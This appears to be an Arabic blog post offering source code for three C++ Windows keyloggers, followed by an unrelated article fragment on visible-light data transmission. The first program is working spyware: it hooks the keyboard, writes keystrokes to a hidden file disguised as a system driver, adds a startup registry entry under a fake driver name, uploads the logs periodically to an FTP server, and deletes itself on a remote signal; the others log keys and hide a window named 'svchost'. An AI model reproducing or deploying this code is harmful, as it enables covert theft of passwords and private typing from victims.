السبت، 15 يونيو 2013

keylogger send to mail and hidden ...........كيلوجر ب c++(visual c++0

الكود خال من الاخطاء بالتطبيق على visual studio 2010 على الاقل
طبعا هذا الكود مبرمج بلغة vc++
برمجة محمد توفيق مسعّدkmkho@hotmail.com-mohammedtawfiq2013@gmail.comللإستفسار
kmkho.ahlamontada.com

#include <stdio.h>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <conio.h>
#include <time.h>
#include <fstream>
#include <strsafe.h>
#include  <io.h>
#include <crtdefs.h>

//#include "Thread."
using namespace std;
#pragma comment(lib,"Wininet.lib")
#define SELF_REMOVE_STRING  TEXT("cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"")

void PlaceHolder()
{
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"placehold.txt");
    HINTERNET hhInternet;
    HINTERNET hftpdownload;
    hhInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hftpdownload = InternetConnectA(hhInternet, "www.live.com", INTERNET_DEFAULT_FTP_PORT, "kmkhol@hotmail.com", "1111", INTERNET_SERVICE_FTP, 0, 0 );
    FtpGetFileA(hftpdownload, "holding.txt",szDir, FALSE,NULL,INTERNET_FLAG_TRANSFER_BINARY,NULL);
    InternetCloseHandle(hftpdownload);
    InternetCloseHandle(hhInternet);
}
int isCapsLock()
{
    if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0)
    {
  return 1;
    }
    else
    {
  return 0;
    }
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    DWORD dwMsg = 1;
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"atapi.sys");
    FILE *file;
    file = fopen(szDir, "a+");
    DWORD dwAttrs = GetFileAttributesA(szDir);
    if (dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))
    SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    switch (wParam)
    {
    case WM_KEYDOWN:
    {
  DWORD vkCode = pKeyBoard->vkCode;
  if (GetAsyncKeyState(VK_SHIFT))
  {
    switch (vkCode)
    {
    case 0x30:
    fputs("=", file);
    break;
    case 0x31:
    fputs("!", file);
    break;
    case 0x32:
    fputs("\"", file);
    break;
    case 0x33:
    fputs("#", file);
    break;
    case 0x34:
    fputs("$", file);
    break;
    case 0x35:
    fputs("%", file);
    break;
    case 0x36:
    fputs("&", file);
    break;
    case 0x37:
    fputs("/", file);
    break;
    case 0x71:
        fputs("f1",file);
            break;
  
        break;

    case 0x38:
    fputs("(", file);
    break;
    case 0x39:
    fputs(")", file);
    break;
    case 0xBF:
    fputs("?", file);
    break;
    case 0xBB:
    fputs("*", file);
    break;
    case 0xBC:
    fputs(";", file);
    break;
    case 0xBE:
    fputs(":", file);
    break;
    case 0xBD:
    fputs("_", file);
    break;
    case 0xE2:
    fputs(">", file);
    break;
    case 0x1C:
        fputs("VK_CONVERT",file);
  
    break;
    case 0x56:
    fputs("@", file);
    break;
  
    case  0x2A:
    fputs ("PRINT",file);
    break;
    case  0x2E:
    fputs ("delet",file);
    break;
    case 0xAA:
    fputs("searsh",file);
    break;
    case  0xF2:
    fputs("COPY",file);
    break;
    case 0xFE: fputs("clear",file);
    break;
    case  0x3:
    fputs("connect",file);
    break;
    case 0x6:
    fputs("logoff",file);
    break;
    }
  }
  else
  {
    switch (vkCode)
    {
    case 0x30:
    fputs("0", file);
    break;
    case 0x31:
    fputs("1", file);
    break;
    case 0x32:
    fputs("2", file);
    break;
    case 0x33:
    fputs("3", file);
    break;
    case 0x34:
    fputs("4", file);
    break;
    case 0x35:
    fputs("5", file);
    break;
    case 0x36:
    fputs("6", file);
    break;
    case 0x37:
    fputs("7", file);
    break;
    case 0x38:
    fputs("8", file);
    break;
    case 0x39:
    fputs("9", file);
    break;
    case 0xBF:
    fputs("'", file);
    break;
    case 0xBB:
    fputs("+", file);
    break;
    case 0xBC:
    fputs(",", file);
    break;
    case 0xBE:
    fputs(".", file);
    break;
    case 0xBD:
    fputs("-", file);
    break;
    case 0xE2:
    fputs("<", file);
    break;
    }
  }
  if (!(GetAsyncKeyState(VK_SHIFT) ^ isCapsLock()))
    
  {
    switch (vkCode)
    {
    case 0x41:
    fputs("a", file);
    break;
    case 0x42:
    fputs("b", file);
    break;
    case 0x43:
    fputs("c", file);
    break;
    case 0xBA:
    fputs("č", file);
    break;
    case 0x44:
    fputs("d", file);
    break;
    case 0x45:
    fputs("e", file);
    break;
    case 0x46:
    fputs("f", file);
    break;
    case 0x47:
    fputs("g", file);
    break;
    case 0x48:
    fputs("h", file);
    break;
    case 0x49:
    fputs("i", file);
    break;
    case 0x4A:
    fputs("j", file);
    break;
    case 0x4B:
    fputs("k", file);
    break;
    case 0x4C:
    fputs("l", file);
    break;
    case 0x4D:
    fputs("m", file);
    break;
    case 0x4E:
    fputs("n", file);
    break;
    case 0x4F:
    fputs("o", file);
    break;
    case 0x50:
    fputs("p", file);
    break;
    case 0x52:
    fputs("r", file);
    break;
    case 0x53:
    fputs("s", file);
    break;
    case 0xDB:
    fputs("š", file);
    break;
    case 0x54:
    fputs("t", file);
    break;
    case 0x55:
    fputs("u", file);
    break;
    case 0x56:
    fputs("v", file);
    break;
    case 0x5A:
    fputs("z", file);
    break;
    case 0xDC:
    fputs("ž", file);
    break;
    case 0x51:
    fputs("q", file);
    break;
    case 0x57:
    fputs("w", file);
    break;
    case 0x59:
    fputs("y", file);
    break;
    case 0x58:
    fputs("x", file);
    break;
    case 0xDE:
    fputs("ć", file);
    break;
    case 0xDD:
    fputs("đ", file);
    break;
    case  0x02000000:
        fputs("alt",file);
        break;
    }
  }
  else VK_SHIFT+KF_ALTDOWN ;
  {
    switch (vkCode)
    {
    case 0x41:
    fputs("ش", file);
    break;
    case 0x42:
    fputs("لا", file);
    break;
    case 0x43:
    fputs("ؤ", file);
    break;
    case 0xBA:
        fputs("}", file);
    break;
    case 0x44:
    fputs("ي", file);
    break;
    case 0x45:
    fputs("ث", file);
    break;
    case 0x46:
    fputs("ب", file);
    break;
    case 0x47:
    fputs("ل", file);
    break;
    case 0x48:
    fputs("ا", file);
    break;
    case 0x49:
    fputs("ه", file);
    break;
    case 0x4A:
    fputs("ل", file);
    break;
    case 0x4B:
    fputs("ن", file);
    break;
    case 0x4C:
    fputs("م", file);
    break;
    case 0x4D:
    fputs("ة", file);
    break;
    case 0x4E:
    fputs("ى", file);
    break;
    case 0x4F:
    fputs("خ", file);
    break;
    case 0x50:
    fputs("ح", file);
    break;
    case 0x52:
    fputs("ق", file);
    break;
    case 0x53:
    fputs("س", file);
    break;
    case 0xDB:
    fputs("ٍ", file);
    break;
    case 0x54:
    fputs("ف", file);
    break;
    case 0x55:
    fputs("ع", file);
    break;
    case 0x56:
    fputs("ر", file);
    break;
    case 0x5A:
    fputs("ئ", file);
    break;
    case 0xDC:
    fputs("~", file);
    break;
    case 0x51:
    fputs("َ", file);
    break;
    case 0x57:
    fputs("ً", file);
    break;
    case 0x59:
    fputs("إ", file);
    break;
    case 0x58:
    fputs("ء", file);
    break;
    case 0xDE:
        fputs("}}", file);
    break;
    case 0xDD:
    fputs("]]", file);
    break;
    }
  }
  switch (vkCode)
  {
  case VK_SPACE:
    fputs(" ", file);
    break;
  case 0x2E:
    fputs("[Delete]", file);
    break;
  case VK_BACK:
    fputs("[BackSpace]", file);
    break;
  case VK_RETURN:
    fputs("[NewLine]\n", file);
    break;
  case VK_LCONTROL:
    fputs("[Ctrl]", file);
    break;
  case VK_RCONTROL:
    fputs("[Ctrl]", file);
    break;
  case VK_TAB:
    fputs("[Tab]", file);
    break;
  case 0x25:
    fputs("[Left Arrow]", file);
    break;
  case 0x26:
    fputs("[Up Arrow]", file);
    break;
  case 0x27:
    fputs("[Right Arrow]", file);
    break;
  case 0x28:
    fputs("[Down Arrow]", file);
    break;
  case VK_NUMPAD0:
    fputs("0", file);
    break;
  case VK_NUMPAD1:
    fputs("1", file);
    break;
  case VK_NUMPAD2:
    fputs("2", file);
    break;
  case VK_NUMPAD3:
    fputs("3", file);
    break;
  case VK_NUMPAD4:
    fputs("4", file);
    break;
  case VK_NUMPAD5:
    fputs("5", file);
    break;
  case VK_NUMPAD6:
    fputs("6", file);
    break;
  case VK_NUMPAD7:
    fputs("7", file);
    break;
  case VK_NUMPAD8:
    fputs("8", file);
    break;
  case VK_NUMPAD9:
    fputs("9", file);
    break;
  case 0x6F:
    fputs("/", file);
    break;
  case 0x6A:
    fputs("*", file);
    break;
  case 0x6D:
    fputs("-", file);
    break;
  case 0x6B:
    fputs("+", file);
    break;
  case 0x6E:
    fputs(",", file);
    break;
  }
    }
    case WM_SYSKEYDOWN:
    {
  DWORD vkCode = pKeyBoard->vkCode;
  if (GetAsyncKeyState(VK_RMENU))
  {
    switch (vkCode)
    {
    case 0x51:
    fputs("\\", file);
    break;
    case 0x57:
    fputs("|", file);
    break;
    case 0x45:
    fputs("€", file);
    break;
    case 0xDB:
    fputs("÷", file);
    break;
    case 0xDD:
    fputs("×", file);
    break;
    case 0x46:
    fputs("[", file);
    break;
    case 0x47:
    fputs("]", file);
    break;
    case 0x4B:
    fputs("ł", file);
    break;
    case 0x4C:
    fputs("Ł", file);
    break;
    case 0xDE:
    fputs("ß", file);
    break;
    case 0xDC:
    fputs("¤", file);
    break;
    case 0x56:
    fputs("@", file);
    break;
    case 0x42:
    fputs("{", file);
    break;
    case 0x4E:
    fputs("}", file);
    break;
    case 0x4D:
    fputs("§", file);
    break;
    case 0xBC:
    fputs("<", file);
    break;
    case 0xBE:
    fputs(">", file);
    break;
    }
  }
    }
    default:
  fclose(file);
  return CallNextHookEx( NULL, nCode, wParam, lParam );
    }
    fclose(file);
    return 0;
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    HHOOK hKeyHook;
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (hExe == NULL)
    {
  return 1;
    }
    else
    {
  hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, hExe, 0);//للحروف الصغيره
  MSG msg;
  while (GetMessage(&msg, NULL, 0, 0) != 0)
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);//بعث الرساله
  }
  UnhookWindowsHookEx(hKeyHook);
    }
    return 0;
}
int StartKeyLogging()
{
    HANDLE hThread;
    DWORD dwThread;
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
    if (hThread)
    {
  return WaitForSingleObject(hThread, INFINITE);
    }
    else
    {
  return 1;
    }
}
void AutoStart()
{
        char Driver[MAX_PATH];
        HMODULE HMod;
        HKEY hKey;
        HMod = GetModuleHandle(NULL);
        GetModuleFileNameA(HMod, Driver, sizeof(Driver));
        RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);//فتح الرجستري
        RegSetValueExA(hKey, "Windows Atapi x86_64 Driver", 0, REG_SZ, (const unsigned char *)Driver, MAX_PATH);//الحصول على القيمه
        RegCloseKey(hKey);
}
void File()
{
    char Driver[MAX_PATH];
    HMODULE HMod;
    HMod = GetModuleHandle(NULL);
    GetModuleFileNameA(HMod, Driver, sizeof(Driver));
    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"atapi.sys");
    FILE *file;
    file = fopen(szDir,"a+");
    fputs(" - Started logging on - ", file);//لبدايه التشغيل
    fclose(file);
    char szName[50];
    DWORD dwAttrs = GetFileAttributesA(szDir);
    DWORD dwAttra = GetFileAttributesA(Driver);
//
    if (dwAttra && dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))//بنفس الخصائص ومخفي
    {
    SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//للحصول على خصائص الملف  بنفس
    SetFileAttributesA(Driver, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    }
    else
        ;
//
    while(true)
    {
    time_t theTime = time(0);
    SYSTEMTIME Time;
    WORD Dan = Time.wDay;
    WORD Mesec = Time.wMonth;
    WORD Ura = Time.wHour;
    WORD Minute = Time.wMinute;
    WORD Sekunde = Time.wSecond;
    file = fopen(szDir,"a+");
    fputs("\n", file);
    fputs(ctime(&theTime), file);
    fputs("\n", file);
    fclose(file);
    sprintf(szName, "AttackedSuccessfuly_%d%d%d%d%d.txt", Dan, Mesec, Ura, Minute, Sekunde);
    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hFtpSession = InternetConnectA(hInternet, "FTPSERVER", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0 );
    FtpPutFileA(hFtpSession,szDir, szName, FTP_TRANSFER_TYPE_BINARY, 0);
    InternetCloseHandle(hFtpSession);
    InternetCloseHandle(hInternet);
    Sleep(7200);
    }
}
void DeleteMe()
{
    TCHAR szModuleName[MAX_PATH];
    TCHAR szCmd[2 * MAX_PATH];
    STARTUPINFO si = {0};;//معلومات جديدة
    PROCESS_INFORMATION pi = {0};//طوابغ لوقت النظام

    char szDir2[260];
    GetTempPathA(260,szDir2);//ملف مؤقت لبدايه التشغيل
    strcat(szDir2,"destroy.txt");//نسخ المعلومات بالملف الى

    HINTERNET hhInternet;//للارسال عبر النت
    HINTERNET hftpdownload;//منفذ
    hhInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);//للتاكد من النت
    hftpdownload = InternetConnectA(hhInternet, "FTPSERVERX", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0 );//للتهيئه الموقع
    FtpGetFileA(hftpdownload, "destroy.txt",szDir2, FALSE,NULL,INTERNET_FLAG_TRANSFER_BINARY,NULL);//لارسال الملف ب النظام الثنائي
    InternetCloseHandle(hftpdownload);
    InternetCloseHandle(hhInternet);

    char Driver[MAX_PATH];//مصفوفه بحجم الملف
    HMODULE HMod;
    HMod = GetModuleHandle(NULL);
    GetModuleFileNameA(HMod, Driver, sizeof(Driver));

    char szDir[260];
    GetTempPathA(260,szDir);
    strcat(szDir,"placehold.txt");//نسخ المعلومات من الملف الى ال

    char szDir3[260];
    GetTempPathA(260,szDir3);//تخزين الموقت
    strcat(szDir3,"atapi.sys");//نسخ
     if( (_access( szDir2, 0 )) != -1 )
   {
       remove(szDir2);
        remove(szDir);
        SetFileAttributesA(szDir3,FILE_ATTRIBUTE_NORMAL);//للحصول على خصائص الملف  بنفس
            remove(szDir3);
            SetFileAttributesA(Driver, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);//بنفس الخصائص ومخفي
                StringCbPrintf(szCmd, 2 * MAX_PATH, SELF_REMOVE_STRING, szModuleName);
        CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);//لاخفاء النافذه
                CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            exit(1);
   }
     else
         ;
}

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
    PlaceHolder();
    AutoStart();
    DeleteMe();
    //handeld
     //hThread1 = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
    //CreateThread(
    //Thread FileFunction = new Thread(File);
     //startThreading(Priority_Max);
    //CFunction.Start();
    StartKeyLogging();
}

سورس كود كيلوجلر ذكي ب c++ source code keylogger in c++

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key
) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {
    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags.
        KBDLLHOOKSTRUCT hooked =
            *((KBDLLHOOKSTRUCT*)lParam);
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:
    //
    //  http://msdn.microsoft.com/library/en-us/winui/winui/
    //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
    //
    //  (Keystroke Messages)
        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;
    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.
        char lpszName[0x100] = {0};
        lpszName[0] = '[';
        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;
        lpszName[i] = ']';
    //  Print this name to the standard console output device.
        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }
//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.
    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
//  Get a module handle to our own executable. Usually,
//  the return value of GetModuleHandle(NULL) should be
//  a valid handle to the current application instance,
//  but if it fails we will also try to actually load
//  ourself as a library. The thread's parameter is the
//  first command line argument which is the path to our
//  executable.
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
//  Everything failed, we can't install the hook ... this
//  never happened, but error handling is important.
    if (!hExe) return 1;
    hKeyHook = SetWindowsHookEx (  // install the hook:
        WH_KEYBOARD_LL,            // as a low level keyboard hook
        (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
        hExe,                      // and the module handle to our own executable
        NULL                       // and finally, the hook should monitor all threads.
    );
//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.
    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
        KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }

 }other 



/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define DEBUG 1

#define OUTFILE_NAME "Logs\\WinKey.log" /* Output file */
#define CLASSNAME "winkey"
#define WINDOWTITLE "svchost"

char windir[MAX_PATH + 1];
HHOOK kbdhook; /* Keyboard hook handle */
bool running; /* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
 if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  static bool capslock = false;
  static bool shift = false;
  char tmp[0xFF] = {0};
  std::string str;
  DWORD msg = 1;
  KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  bool printable;

  /*
   * Get key name as string
   */
  msg += (st_hook.scanCode << 16);
  msg += (st_hook.flags << 24);
  GetKeyNameText(msg, tmp, 0xFF);
  str = std::string(tmp);

  printable = (str.length() <= 1) ? true : false;

  /*
   * Non-printable characters only:
   * Some of these (namely; newline, space and tab) will be
   * made into printable characters.
   * Others are encapsulated in brackets ('[' and ']').
   */
  if (!printable) {
   /*
    * Keynames that change state are handled here.
    */
   if (str == "CAPSLOCK")
    capslock = !capslock;
   else if (str == "SHIFT")
    shift = true;

   /*
    * Keynames that may become printable characters are
    * handled here.
    */
   if (str == "ENTER") {
    str = "\n";
    printable = true;
   } else if (str == "SPACE") {
    str = " ";
    printable = true;
   } else if (str == "TAB") {
    str = "\t";
    printable = true;
   } else {
    str = ("[" + str + "]");
   }
  }

  /*
   * Printable characters only:
   * If shift is on and capslock is off or shift is off and
   * capslock is on, make the character uppercase.
   * If both are off or both are on, the character is lowercase
   */
  if (printable) {
   if (shift == capslock) { /* Lowercase */
    for (size_t i = 0; i < str.length(); ++i)
     str[i] = tolower(str[i]);
   } else { /* Uppercase */
    for (size_t i = 0; i < str.length(); ++i) {
     if (str[i] >= 'A' && str[i] <= 'Z') {
      str[i] = toupper(str[i]);
     }
    }
   }

   shift = false;
  }

#ifdef DEBUG
  std::cout << str;
#endif
  std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
  std::ofstream outfile(path.c_str(), std::ios_base::app);
  outfile << str;
  outfile.close();
 }

 return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd Window handle
 * \param msg Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
 switch (msg) {
  case WM_CLOSE: case WM_DESTROY:
   running = false;
   break;
  default:
   /* Call default message handler */
   return DefWindowProc(hwnd, msg, wp, lp);
 }

 return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  LPSTR cmdline, int ncmdshow)
{
 /*
  * Set up window
  */
 HWND  hwnd;
 HWND  fgwindow = GetForegroundWindow(); /* Current foreground window */
 MSG  msg;
 WNDCLASSEX windowclass;
 HINSTANCE modulehandle;

 windowclass.hInstance = thisinstance;
 windowclass.lpszClassName = CLASSNAME;
 windowclass.lpfnWndProc = windowprocedure;
 windowclass.style = CS_DBLCLKS;
 windowclass.cbSize = sizeof(WNDCLASSEX);
 windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
 windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
 windowclass.lpszMenuName = NULL;
 windowclass.cbClsExtra = 0;
 windowclass.cbWndExtra = 0;
 windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

 if (!(RegisterClassEx(&windowclass)))
  return 1;

 hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
   CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
   thisinstance, NULL);
 if (!(hwnd))
  return 1;

 /*
  * Make the window invisible
  */
#ifdef DEBUG
 /*
  * Debug mode: Make the window visible
  */
 ShowWindow(hwnd, SW_SHOW);
#else
 ShowWindow(hwnd, SW_HIDE);
#endif
 UpdateWindow(hwnd);
 SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

 /*
  * Hook keyboard input so we get it too
  */
 modulehandle = GetModuleHandle(NULL);
 kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

 running = true;

 GetWindowsDirectory((LPSTR)windir, MAX_PATH);

 /*
  * Main loop
  */
 while (running) {
  /*
   * Get messages, dispatch to window procedure
   */
  if (!GetMessage(&msg, NULL, 0, 0))
   running = false; /*
       * This is not a "return" or
       * "break" so the rest of the loop is
       * done. This way, we never miss keys
       * when destroyed but we still exit.
       */
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }

 return 0;
}

شبكات المستقبلية VLC

شبكات المستقبل،VLC،optical،ضوئي - -http://fadialtaha.files.wordpress.com/2011/12/2.jpg معظم الأشياء قد تتعدد استخداماتها إلى جانب الغاية الأساسية من تصنيعها، فمثلا الهاتف الجوال صنع أساسا لغرض الاتصال وأيضا تشغيل الملتيميديا والتطبيقات كاستعمال ثانوي وكذلك الكمبيوتر له عدة استخدامات وغيرها من الأجهزة. ولكن ما هي الاستعمالات الثانوية لأجهزة الإضاءة ؟ وهل فكرت يوما أن تقوم بتحميل هذه المجلة عن طريق الإنارة التي في الغرفة؟ الباحثون والعلماء وكالعادة يحاولون استنزاف الأشياء واستخلاص كل طاقتها الممكنة، لذلك فكروا في الاستفادة من الإضاءة وكيفية استغلالها اشد استغلال والنتيجة كانت تقنية يجري عليها الأبحاث حاليا لتطويرها من قبل علماء وبالأخص في معهد فراونهوفر هاينريش هيرتز وبالتعاون مع مختبرات خاصة بشركات عالمية رائدة في مجال الإلكترونيات مثل شركة سيمينز و فرانس تيليكوم أورانج. هذه التكنولوجيا ستغير مفهوم العالم للاتصال وتعرف بمصطلح الـ VLC. الـ VLC مختصر Visible Light Communication أو الاتصال عبر الضوء المرئي وتعريفها ببساطة هي تقنية تسمح للأشخاص بالاستفادة من أجهزة الإنارة -إلى جانب إضاءتها- لنقل البيانات عبرها والدخول إلى الانترنت باستعمال الضوء العادي القادم من تلك الأجهزة فقط. يقول البروفسور ناكاغاوا الذي يرأس الكونسرسيوم الصناعي الياباني للاتصالات عبر الضوء المرئي “إن الضوء مستخدم يوميا بالفعل منذ زمن طويل من قبل ملايين الأشخاص لنقل المعلومات وعلى سبيل المثال عندما يستخدم مشاهد تلفزيوني جهاز التحكم عن بعد الذي يعمل بالأشعة تحت الحمراء لتغيير القنوات إلا أن هذه الوسيلة لنقل البيانات باستخدام ضوء الأشعة تحت الحمراء يقع خارج مجال رؤية العين البشرية”. الفكرة واضحة ولا تحتوي أي تعقيد وهي نقل البيانات باستخدام موجات الضوء الذي تردده يتراوح بين 400 و800 تيراهيرتز. ولتوليد ضوء بهذا التردد نستطيع استخدام مصابيح الفلوريسنت العادية حيث وصلت سرعة نقل البيانات بواسطتها إلى 10 كيلوبت في الثانية أو باستخدام مصابيح الـ LED بسرعة نقل وصلت إلى 500 ميكابت في الثانية ولمسافة قليلة جدا لا تتعدى الـ 5 أمتار فقط! لكن في مايو الماضي، تمكن الباحثون من إضاءة غرفة مساحتها أكثر من 10 متر مربع، وفي الوقت نفسه من نقل بيانات ولكن بسرعة لم تتعدى الـ 100 ميكابت في الثانية من دون أية مشكلة أو عرقلة في عملية الإرسال أو الاستقبال. وهذا يعني أنه من الممكن تشغيل أربعة أفلام فيديو بوضوح على أربعة كمبيوترات في الوقت ذاته، وذلك طبقاً لما قاله أحد الباحثين بالمعهد. أيضا بدأت هذه التقنية بمجاراة الايثرنت ، حيث أمكن إرسال بيانات بسرعة 10 ميكابت في الثانية ولمسافة 1 إلى 2 كيلومتر وذلك باستعمال مصابيح LED بطاقة عالية وذات إضاءة نافذة. ومؤخرا حدثت النقلة النوعية عندما نجح باحثو المعهد المذكور في نقل بيانات بسرعة تصل إلى 800 ميكابت في الثانية بواسطة أضواء مصابيح LED ذات ألوان مختلفة من أحمر وأزرق وأخضر وأبيض داخل المختبر. استعمال الـ LED وتفضيلها جاء بسبب إن هذه المصابيح تعتبر ذات إضاءة عالية تنتشر إلى مسافات بعيدة لذلك فهي تستخدم في حالة الضباب والإنذار في سيارات الشرطة والإسعاف لكونها صغيرة الحجم ومتنوعة الأشكال إضافة إلى أنها موفرة للطاقة وطويلة العمر وصديقة للبيئة. ومؤخرا نجح مهندس في شركة كاسيو في أن يلتقط بكاميرا خاصة من الأرض إشارة منبعثة من مصباح وضع على قمة برج طوكيو التي تبعد 250 مترا عن مكانه. كيف تعمل هذه التقنية ؟
